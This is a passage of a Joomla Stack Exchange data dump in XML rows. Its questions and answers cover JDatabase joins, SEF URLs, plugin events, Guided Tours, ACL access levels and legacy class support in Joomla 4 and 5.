foreach ($teamIds as $teamId){&#xA;            if(!$teamId) continue;&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;select('t.id, t.title');&#xA;            $query-&amp;gt;from($db-&amp;gt;quoteName('#__component_teams', 't'));&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('t.id') . ' = ' . $db-&amp;gt;quote($teamId));&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('t.published') . ' = 1');&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $teams[] = $db-&amp;gt;loadObject();&#xA;        }&#xA;&#xA;        return $teams;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the result will then be added to the player object. It's working like this.&#xA;My Problem now is that i cannot add filters for &amp;quot;team names&amp;quot; because in the getItems (Players) methhod the Team Names are not present... Additionally the looping over the player objects is not that sexy... Can someone tell me if its possible to bring this additional query directly into the main (getItems) maybe as subquery?&#xA;I've already tried a couple of things but I think my approach with this plyers_teams table (where just the player_id and the team_id got linked) is not the best solution if you want to use it like I intend to do...&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Edit:&lt;/em&gt;&#xA;I'm close i can feel it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;// Subquery to get all linked teams of each player by using the players_teams aswell as the teams table&#xA;        $playersTeamsLinkingQuery = $db-&amp;gt;getQuery(true);&#xA;        $playersTeamsLinkingQuery-&amp;gt;select('GROUP_CONCAT(DISTINCT pt.team_id SEPARATOR \', \')');&#xA;        $playersTeamsLinkingQuery-&amp;gt;from($db-&amp;gt;quoteName('#__component_players_teams', 'pt'));&#xA;        $playersTeamsLinkingQuery-&amp;gt;where($db-&amp;gt;quoteName('pt.player_id') . ' = ' . $db-&amp;gt;quoteName('a.id'));&#xA;&#xA;        $query-&amp;gt;select('(' . $playersTeamsLinkingQuery . ') AS linked_team_ids');&#xA;&#xA;// linked_team_ids == 1,2,3&#xA;&#xA;        // SubQuery the team names based on the linked_team_ids&#xA;        $teamNamesQuery = $db-&amp;gt;getQuery(true);&#xA;        $teamNamesQuery-&amp;gt;select('GROUP_CONCAT(DISTINCT t.title SEPARATOR \',\')');&#xA;        $teamNamesQuery-&amp;gt;from($db-&amp;gt;quoteName('#__component_teams', 't'));&#xA;        $teamNamesQuery-&amp;gt;where($db-&amp;gt;quoteName('t.id') . ' IN (' . $playersTeamsLinkingQuery . ')');&#xA;&#xA;        $query-&amp;gt;select('(' . $teamNamesQuery . ') AS linked_team_names');&#xA;&#xA;// linked_team_names == 'Name of Team with ID 1&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first subquery gets me a comma separated list of id's for the teams table but the second subquery gives just one entry back...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2023-12-10T06:55:51.490" LastActivityDate="2023-12-10T08:03:13.723" Title="Join one to many with helper table JDatabase" Tags="|joomla-4.x|jdatabase|one-to-many|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33527" PostTypeId="1" CreationDate="2023-12-10T07:09:55.727" Score="0" ViewCount="17" Body="&lt;p&gt;I'm having the problem of wrong image links when &amp;quot;Search Engine Friendly URLs&amp;quot; is enabled, I'm also having &amp;quot;Use URL Rewriting&amp;quot; enabled.&#xA;For example, I'm on domain/abc page, when checking the srouce, the image will be &amp;quot;images/....&amp;quot;, but when hovering on the image's src it shows as &amp;quot;domain/abc/images/. ..&amp;quot; not &amp;quot;domain/images/...&amp;quot;.&#xA;SYS - SEF plugin enabled.&#xA;Changed htaccess.txt to .htaccess.&#xA;Update: This error is only with php 8 version, I tried it on php 7 and everything works normally.&lt;/p&gt;&#xA;" OwnerUserId="7480" LastEditorUserId="7480" LastEditDate="2023-12-10T07:15:57.667" LastActivityDate="2023-12-10T07:15:57.667" Title="Joomla 4 Search Engine Friendly URLs make link broken" Tags="|joomla-4.x|sef|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33528" PostTypeId="2" ParentId="33526" CreationDate="2023-12-10T08:03:13.723" Score="1" Body="&lt;p&gt;So got it now:&lt;/p&gt;&#xA;&lt;p&gt;In my select for the players:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$query-&amp;gt;select('t.title as team_title, t.id as team_id')&#xA;            -&amp;gt;join(&#xA;                'LEFT',&#xA;                $db-&amp;gt;quoteName('#__component_players_teams', 'pt') . ' ON ' . $db-&amp;gt;quoteName('a.id') . ' = ' . $db-&amp;gt;quoteName('pt.player_id')&#xA;            )&#xA;            -&amp;gt;join(&#xA;                'LEFT',&#xA;                $db-&amp;gt;quoteName('#__component_teams', 't') . ' ON ' . $db-&amp;gt;quoteName('t.id') . ' = ' . $db-&amp;gt;quoteName('pt.team_id')&#xA;            );&#xA;&#xA;...&#xA;// My Filter&#xA;$teamId = $this-&amp;gt;getState('filter.team_id');&#xA;        if (is_numeric($teamId))&#xA;        {&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('team_id') . ' = ' . (int) $teamId);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And my getItems method i merge the &amp;quot;multiple&amp;quot; entries for each player:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getItems()&#xA;    {&#xA;        $items = parent::getItems();&#xA;        $processedResults = array();&#xA;        // Add Team Details&#xA;        foreach ($items as &amp;amp;$item)&#xA;        {&#xA;            // Required to prevent multiple entries for the same player&#xA;            if(!isset($processedResults[$item-&amp;gt;id])){&#xA;                $processedResults[$item-&amp;gt;id] = $item;&#xA;                $processedResults[$item-&amp;gt;id]-&amp;gt;teams = array();&#xA;            }&#xA;&#xA;            // Add Team Details to Player&#xA;            if($item-&amp;gt;team_id &amp;amp;&amp;amp; $item-&amp;gt;team_title){&#xA;                $teamObject = new \stdClass();&#xA;                $teamObject-&amp;gt;id = $item-&amp;gt;team_id;&#xA;                $teamObject-&amp;gt;title = $item-&amp;gt;team_title;&#xA;            }else{&#xA;                $teamObject = null;&#xA;            }&#xA;            if($teamObject) $processedResults[$item-&amp;gt;id]-&amp;gt;teams[] = $teamObject;&#xA;            unset($item-&amp;gt;team_id);&#xA;            unset($item-&amp;gt;team_title);&#xA;        }&#xA;&#xA;        return $processedResults;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so in fact I still have this foreach on the player elements but only only one SQL Query to get the information AND i can filter now for teams.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-12-10T08:03:13.723" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33529" PostTypeId="1" CreationDate="2023-12-11T04:21:38.800" Score="1" ViewCount="55" Body="&lt;p&gt;In Joomla 3 it was possible to use an URL of this form &lt;code&gt;example.com/Essays/somethin-else&lt;/code&gt; because the router would match &lt;code&gt;'Essays'&lt;/code&gt; to the alias of an existing menu item (eg. 'essays, content, single article) even though aliases are always lower-case.&lt;/p&gt;&#xA;&lt;p&gt;However in Joomla 4 it appears that the Siterouter &lt;code&gt;parseSefRoute&lt;/code&gt; rule does not force a lowercase comparison, and so it doesn't match the segment /Essays/ to the menu alias &lt;code&gt;'essays'&lt;/code&gt; and a 404 error results&lt;/p&gt;&#xA;&lt;p&gt;We can get round this by doing a redirect in the htaccess file to go to a url (eg. &lt;code&gt;redirect 301 'example.com/Essays/foo' 'example.com/essays/foo'&lt;/code&gt;)  but that would likely result in changing our pagerank which we would prefer to avoid.&lt;/p&gt;&#xA;&lt;p&gt;Even were we to write a component, it seems that J4 would not ever accept uppercase in the first segment after the domain name and so our component would never be activated.&lt;/p&gt;&#xA;&lt;p&gt;I am asking if there is an alternative approach that will allow us to use Joomla 4 with the original URLs but without having to do a redirect.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3629" LastEditorUserId="13472" LastEditDate="2023-12-12T08:09:56.853" LastActivityDate="2023-12-12T08:09:56.853" Title="Can I use uppercase in Joomla 4 url paths?" Tags="|joomla-4.x|url|router|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="33530" PostTypeId="2" ParentId="33524" CreationDate="2023-12-11T07:42:10.863" Score="1" Body="&lt;p&gt;There is no built-in function in Joomla and JS has no equivalent of &lt;code&gt;sprintf()&lt;/code&gt;. You have to write your own. It may be impractical to try mimic PHP in JS so instead you could write a simplified version for your use case. For example, Media component has this code which just replaces most commonly used &lt;code&gt;%s&lt;/code&gt; and &lt;code&gt;%d&lt;/code&gt; specifiers:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;const Translate = {&#xA;    // Translate from Joomla text&#xA;    translate: (key) =&amp;gt; Joomla.Text._(key, key),&#xA;    sprintf: (string, ...args) =&amp;gt; {&#xA;      const newString = Translate.translate(string);&#xA;      let i = 0;&#xA;      return newString.replace(/%((%)|s|d)/g, (m) =&amp;gt; {&#xA;        let val = args[i];&#xA;&#xA;        if (m === '%d') {&#xA;          val = parseFloat(val);&#xA;          if (Number.isNaN(val)) {&#xA;            val = 0;&#xA;          }&#xA;        }&#xA;        i += 1;&#xA;        return val;&#xA;      });&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2023-12-11T08:34:29.530" LastActivityDate="2023-12-11T08:34:29.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33531" PostTypeId="1" CreationDate="2023-12-11T12:26:30.697" Score="1" ViewCount="75" Body="&lt;p&gt;I have a custom plugin in a custom plugin group (maidan):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;3.1&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;maidan&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;My custom plugin&amp;lt;/name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is in a custom group because my component uses that group for certain things.&lt;/p&gt;&#xA;&lt;p&gt;Now i want to trigger an event when unpublishing an item from my component.&#xA;I'm doing that using this in the publish method inside the model:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$event = AbstractEvent::create(&amp;quot;onMyObjectAfterStateChange&amp;quot;, [ 'subject' =&amp;gt; $this, 'pks' =&amp;gt; $cids, 'state' =&amp;gt; $state]);&#xA;$eventResult = Factory::getApplication()-&amp;gt;getDispatcher()-&amp;gt;dispatch(&amp;quot;onMyObjectAfterStateChange&amp;quot;, $event);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In a system plugin i can do this to react:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onMyObjectAfterStateChange(EventInterface $event)&#xA;{&#xA;    echo &amp;quot;onMyObjectAfterStateChange&amp;quot;;&#xA;    die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But in my custom group plugin i cannot get the event trigered. I tried importing my group befor triggering the event:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PluginHelper::importPlugin('maidan');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also i tried using the Subsriberinterface inside my plugin to catch the event, but nothing happens:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class Myplugin extends CMSPlugin implements SubscriberInterface&#xA;{&#xA;    public function __construct(&amp;amp;$subject, $config)&#xA;    {&#xA;        die(&amp;quot;---&amp;quot;);&#xA;        parent::__construct($subject, $config);&#xA;    }&#xA;&#xA;    public static function getSubscribedEvents(): array&#xA;    {&#xA;        return [&#xA;            'onMyObjectAfterStateChange' =&amp;gt; 'onMyObjectAfterStateChange',&#xA;        ];&#xA;    }&#xA;&#xA;    public function onMyObjectAfterStateChange(EventInterface $event)&#xA;    {&#xA;        echo &amp;quot;onMyObjectAfterStateChange&amp;quot;;&#xA;        die(&amp;quot;---&amp;quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="13306" LastEditDate="2023-12-11T23:55:52.147" LastActivityDate="2024-04-02T20:07:00.837" Title="Trigger event inside custom plugin group" Tags="|joomla-4.x|plugin|plugin-events|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="33532" PostTypeId="1" CreationDate="2023-12-14T06:48:17.480" Score="1" ViewCount="134" Body="&lt;p&gt;I am transferring custom code to joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;Are the legacy classes such as &lt;code&gt;JFactory&lt;/code&gt; supported and if so for how long?&lt;/p&gt;&#xA;&lt;p&gt;Where can I find documentation on this?&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2023-12-14T07:33:38.233" Title="Joomla 4 and 5 support for legacy classes and methods" Tags="|joomla-4.x|jfactory|deprecated|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33533" PostTypeId="2" ParentId="33532" CreationDate="2023-12-14T07:33:38.233" Score="2" Body="&lt;p&gt;Yes, most of J-prefixed classes can still be used. They were scheduled to be removed in 5.0 but due to release cycle changes the removal has been postponed to 6.0. Instead the code for creating class aliases has been moved to Backward Compatibility plugin. You can read more about it in the &lt;a href=&quot;https://manual.joomla.org/migrations/44-50/compat-plugin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-12-14T07:33:38.233" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33535" PostTypeId="2" ParentId="28446" CreationDate="2023-12-16T00:29:50.590" Score="0" Body="&lt;p&gt;You can add JavaScript code to the registration page to&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;hide the &amp;quot;Username&amp;quot; input element and&lt;/li&gt;&#xA;&lt;li&gt;assign the entered &amp;quot;email address&amp;quot; to &amp;quot;username&amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you don't have an override to the registration script, you need to create one by copying the original script to the override folder. For Joomla 4 on MS Windows:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;copy &amp;lt;proj_folder&amp;gt;\components\com_users\tmpl\registration\default.php &amp;lt;proj_folder&amp;gt;\&amp;lt;Your_Template_Name&amp;gt;\html\com_users\registration\default.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, you need to apply the following changes to the new script (above).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   defined('_JEXEC') or die;&#xA;   // more statements...&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;com-users-registration registration&amp;quot;&amp;gt;&#xA;    &amp;lt;!-- more statements --&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- Add the following JavaScript code to the end of the script --&amp;gt;&#xA;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;document.addEventListener('DOMContentLoaded', function () {&#xA;   // Find the email and username input fields&#xA;    var emailField = document.getElementById('jform_email1');&#xA;    var usernameField = document.getElementById('jform_username');&#xA;    var usernameLabel = document.getElementById('jform_username-lbl');&#xA;&#xA;    // Uncomment the following to make sure the correct elements are selected. If any of the following is null, check the IDs used above.&#xA;   // alert(&amp;quot;all of the following should have values (NOT null)&amp;quot;&#xA;    //  + &amp;quot;\n - usernameField: &amp;quot; + usernameField&#xA;    //  + &amp;quot;\n - emailField: &amp;quot; + emailField&#xA;    //  + &amp;quot;\n - usernameLabel: &amp;quot; + usernameLabel);&#xA;&#xA;    // Hide the username &amp;quot;input elemnet&amp;quot; and its &amp;quot;label&amp;quot;&#xA;    usernameField.parentElement.style.display = 'none';&#xA;    usernameLabel.parentElement.style.display = 'none';&#xA;&#xA;   // Make sure the emailField exists&#xA;    if (emailField) {&#xA;        // Assign the value of the email field to the username field&#xA;        emailField.addEventListener('blur', function () {&#xA;            // Trim spaces&#xA;            var emailValue = emailField.value.trim();&#xA;&#xA;            // Assign the email as the username&#xA;            usernameField.value = emailValue;&#xA;        });&#xA;    }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17431" LastEditorUserId="17431" LastEditDate="2023-12-17T00:43:08.647" LastActivityDate="2023-12-17T00:43:08.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33537" PostTypeId="1" CreationDate="2023-12-17T20:39:45.333" Score="0" ViewCount="18" Body="&lt;p&gt;Another weird issue in one of my comppnents i did not understand. I have implemented custom categories by using com_component.teams and com_component.locations - Additionally. it works all fine until i add Custom Field Support to my items. When Fields has been added to a stuff or a things item icannot longer switch the category of this element. the Joomla loading icon shows up (as usual for updating the fields for the new category) but then it falls back to the same category that was selected before.&#xA;It looks like the Userstate does not get updated all changes that has been made are lost.&lt;/p&gt;&#xA;&lt;p&gt;My Field for category selection in the location edit (catid):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;field&#xA;                name=&amp;quot;catid&amp;quot;&#xA;                type=&amp;quot;categoryedit&amp;quot;&#xA;                label=&amp;quot;JCATEGORY&amp;quot;&#xA;                extension=&amp;quot;com_component.locations&amp;quot;&#xA;                addfieldprefix=&amp;quot;Joomla\Component\Categories\Administrator\Field&amp;quot;&#xA;                required=&amp;quot;true&amp;quot;&#xA;                default=&amp;quot;&amp;quot;&#xA;        /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my extension.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function validateSection($section, $item = null)&#xA;    {&#xA;// when printed here $section is correct location or team //&#xA;        if (($section === 'location')) {&#xA;            $section = 'location';&#xA;        }&#xA;        if (($section === 'team')) {&#xA;            $section = 'team';&#xA;        }&#xA;        if ($section !== 'project' &amp;amp;&amp;amp; $section !== 'client') {&#xA;            return null;&#xA;        }&#xA;&#xA;        return $section;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;public function getContexts(): array&#xA;    {&#xA;        Factory::getApplication()-&amp;gt;getLanguage()-&amp;gt;load('com_footballmanager', JPATH_ADMINISTRATOR);&#xA;&#xA;        $contexts = array(&#xA;            'com_component.location' =&amp;gt; Text::_('COM_COMPONENT_LOCATION'),&#xA;            'com_component.team' =&amp;gt; Text::_('COM_COMPONENT_TEAM')&#xA;)&#xA;return $context;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another thing I've identified is that when switching the context in the com_fields view the context is correct BUT the url shows wrong context / a different one... like &amp;quot;context=component.game&amp;quot; when Location is selected and vice versa (there are more so its different but always the same wrong context in url)&lt;/p&gt;&#xA;&lt;p&gt;I have no clue where to start at...&#xA;Link to the Github Repo: &lt;a href=&quot;https://github.com/marcorensch/com_footballmanager_2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/marcorensch/com_footballmanager_2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-12-17T20:39:45.333" Title="Custom Component - Cannot switch category after implementing Custom fields" Tags="|joomla-4.x|custom-component|custom-field|joomla-5.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33538" PostTypeId="1" AcceptedAnswerId="33539" CreationDate="2023-12-18T08:18:22.933" Score="1" ViewCount="28" Body="&lt;p&gt;I am trying to utilise the GuidedTours component within my custom component so that I can provide my users with some direct online help.  So I'm having some problems with the target field so that the help modal box jumps to another tab on the record.  ie main default tab has title and description, then next tab is introduction (fieldset = introtxt, field = intro_text) with editor field for lots of text.  The modal appears no problems at all, but focus is still on the main default tab so I'm not able to enter any details.  Any clues as to how to set focus on next tab would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2023-12-18T20:36:40.130" Title="Guided Tours - in custom component" Tags="|joomla-5.x|guidedtour|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33539" PostTypeId="2" ParentId="33538" CreationDate="2023-12-18T20:36:40.130" Score="2" Body="&lt;p&gt;Found it. I needed to enter a step to click on the tab heading to direct the focus over to the new tab.  So in my situation the target for this intermediary step was&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;target=button[aria-controls=introtxt]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So just for completeness, my array of steps looks like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $recs[] = array(&#xA;          'title'=&amp;gt;'Add a Title',&#xA;          'desc'=&amp;gt;'&amp;lt;p&amp;gt;Enter a required title for the new entry.&amp;lt;/p&amp;gt;',&#xA;          'position'=&amp;gt;'bottom',&#xA;          'target'=&amp;gt;'#jform_title',&#xA;          'type'=&amp;gt;2,&#xA;          'intertype'=&amp;gt;2,&#xA;          'url'=&amp;gt;''&#xA;          );&#xA;    $recs[] = array(&#xA;          'title'=&amp;gt;'Move to Introductory Tab',&#xA;          'desc'=&amp;gt;'&amp;lt;p&amp;gt;Click on the tab Introduction&amp;lt;/p&amp;gt;',&#xA;          'position'=&amp;gt;'bottom',&#xA;          'target'=&amp;gt;'button[aria-controls=introtxt]',&#xA;          'type'=&amp;gt;2,&#xA;          'intertype'=&amp;gt;4,&#xA;          'url'=&amp;gt;''&#xA;          );&#xA;    $recs[] = array(&#xA;          'title'=&amp;gt;'Introductory Text',&#xA;          'desc'=&amp;gt;'&amp;lt;p&amp;gt;Enter an outline introduction of the record.&amp;lt;/p&amp;gt;',&#xA;          'position'=&amp;gt;'bottom',&#xA;          'target'=&amp;gt;'#jform_intro_text',&#xA;          'type'=&amp;gt;2,&#xA;          'intertype'=&amp;gt;2,&#xA;          'url'=&amp;gt;''&#xA;          );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hope this helps others.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2023-12-18T20:36:40.130" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33540" PostTypeId="1" CreationDate="2023-12-18T20:41:17.570" Score="0" ViewCount="18" Body="&lt;p&gt;We are migrating to Joomla 4 and have a lot of code dependent on the 'J' classes that are presently aliased by classmap.php; I see that it is still present in Joomla 5&lt;/p&gt;&#xA;&lt;p&gt;Will this aliasing continue to be supported through future releases or will it be phased out?&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2023-12-18T20:41:17.570" Title="How long will classmap.php be supported" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="0" ClosedDate="2023-12-18T22:32:09.267" ContentLicense="CC BY-SA 4.0" />
  <row Id="33541" PostTypeId="1" CreationDate="2023-12-19T11:41:38.530" Score="1" ViewCount="65" Body="&lt;p&gt;I was under the impression that all plugins which worked under Joomla 4 would work under Joomla 5 with the Backward Compatibility plugin. However, with one of my extensions (Minitek Slider), I get this error when I try to access certain features of the extension:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    Argument #1 ($db) must be of type JDatabaseDriver, &#xA;    Joomla\Database\Mysqli\MysqliDriver given, &#xA;    called in C:\wamp64\www\j5t\libraries\src\MVC\Factory\MVCFactory.php on line 274&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is it the case that some of the code which worked under Joomla 4 won't work under Joomla 5, even when the backward compatibility plugin is enabled?&lt;/p&gt;&#xA;&lt;p&gt;Thank you for the help!&lt;/p&gt;&#xA;" OwnerUserId="17199" LastActivityDate="2023-12-19T11:41:38.530" Title="Joomla 4-5 backward compatibility plugin not working" Tags="|extensions|joomla-5.x|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33542" PostTypeId="1" CreationDate="2023-12-20T11:31:15.837" Score="1" ViewCount="58" Body="&lt;p&gt;We have a case in which we have created more than 30 user groups and we need more than 50 access levels for different articles or menus.&lt;/p&gt;&#xA;&lt;p&gt;I have estructured my ACL like this.&lt;/p&gt;&#xA;&lt;p&gt;Groups like:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Group1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Subgroup11&lt;/li&gt;&#xA;&lt;li&gt;Subgroup12&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Group2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Subgroup21&lt;/li&gt;&#xA;&lt;li&gt;Subgroup22&lt;/li&gt;&#xA;&lt;li&gt;Subgroup23&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;Group N&#xA;&lt;ul&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Access levels like this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AL1 (Subgroup11)&lt;/li&gt;&#xA;&lt;li&gt;AL2 (Subgroup11, Subgroup12)&lt;/li&gt;&#xA;&lt;li&gt;AL3 (Subgroup11, Subgroup21)&lt;/li&gt;&#xA;&lt;li&gt;AL4 (Subgroup21, Subgroup23)&lt;/li&gt;&#xA;&lt;li&gt;AL5 (Subgroup12, Subgroup21, Subgroup23)&lt;/li&gt;&#xA;&lt;li&gt;AL6 (Subgroup12, Subgroup21, Subgroup22, Subgroup23)&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Is there a way to reduce this by being able to select multiple access levels for an article or menu? Is there a way to be able to directly select which groups can see an article or menu option without needing to select access levels?&lt;/p&gt;&#xA;&lt;p&gt;Any solution with the Joomla core or also an extension would be good.&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much!&lt;/p&gt;&#xA;" OwnerUserId="17530" LastEditorUserId="17530" LastEditDate="2023-12-22T07:48:04.643" LastActivityDate="2024-01-25T11:07:05.947" Title="Multiple Access Levels to an Article" Tags="|joomla-4.x|acl|user-groups|access|joomla-user-groups|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33543" PostTypeId="1" AcceptedAnswerId="33544" CreationDate="2023-12-21T05:34:43.750" Score="1" ViewCount="62" Body="&lt;p&gt;I just noticed that one of my J5 test sites is missing the Guided Tours listbox in the header.  Did a reinstall of core files, checked the plugin was enabled, but still no Guided Tours.  Any pointers to what's missing appreciated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QvPa0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QvPa0.png&quot; alt=&quot;Screen shot of header and plugins&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This test site was originally installed from RC version release so it may be the issue.  Was just thinking if anyone knows how to get it up and visible then it may help others?&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2023-12-21T07:41:57.693" Title="Missing Guided Tours - Joomla 5" Tags="|joomla-5.x|guidedtour|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33544" PostTypeId="2" ParentId="33543" CreationDate="2023-12-21T07:41:57.693" Score="2" Body="&lt;p&gt;The Guided Tours functionality needs:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Plugin: &lt;strong&gt;System - Guided Tours Plugin&lt;/strong&gt; (type: system, element: guidedtours)&lt;/li&gt;&#xA;&lt;li&gt;Admin Module: &lt;strong&gt;Guided Tours&lt;/strong&gt; (module type: Guided Tours)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Could you check if you have published that Admin Module, and in the Module Position &lt;code&gt;status&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-12-21T07:41:57.693" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33545" PostTypeId="1" AcceptedAnswerId="33553" CreationDate="2023-12-24T11:18:22.650" Score="0" ViewCount="48" Body="&lt;p&gt;I'm loading a Bootstrap modal file in HtmlView.php and then a js file to manage it with the following schema:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;joomla.asset.json&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;quot;assets&amp;quot;: [&#xA;    {&#xA;        &amp;quot;name&amp;quot;: &amp;quot;almacen.modal_pintura&amp;quot;,&#xA;        &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;        &amp;quot;uri&amp;quot;: &amp;quot;com_almacen/modal_pintura.js&amp;quot;,&#xA;        &amp;quot;dependencies&amp;quot;: [&#xA;            &amp;quot;jquery&amp;quot;,&#xA;            &amp;quot;core&amp;quot;&#xA;        ],&#xA;        &amp;quot;attributes&amp;quot;: {&#xA;            &amp;quot;defer&amp;quot;: true&#xA;        }&#xA;    }&#xA;  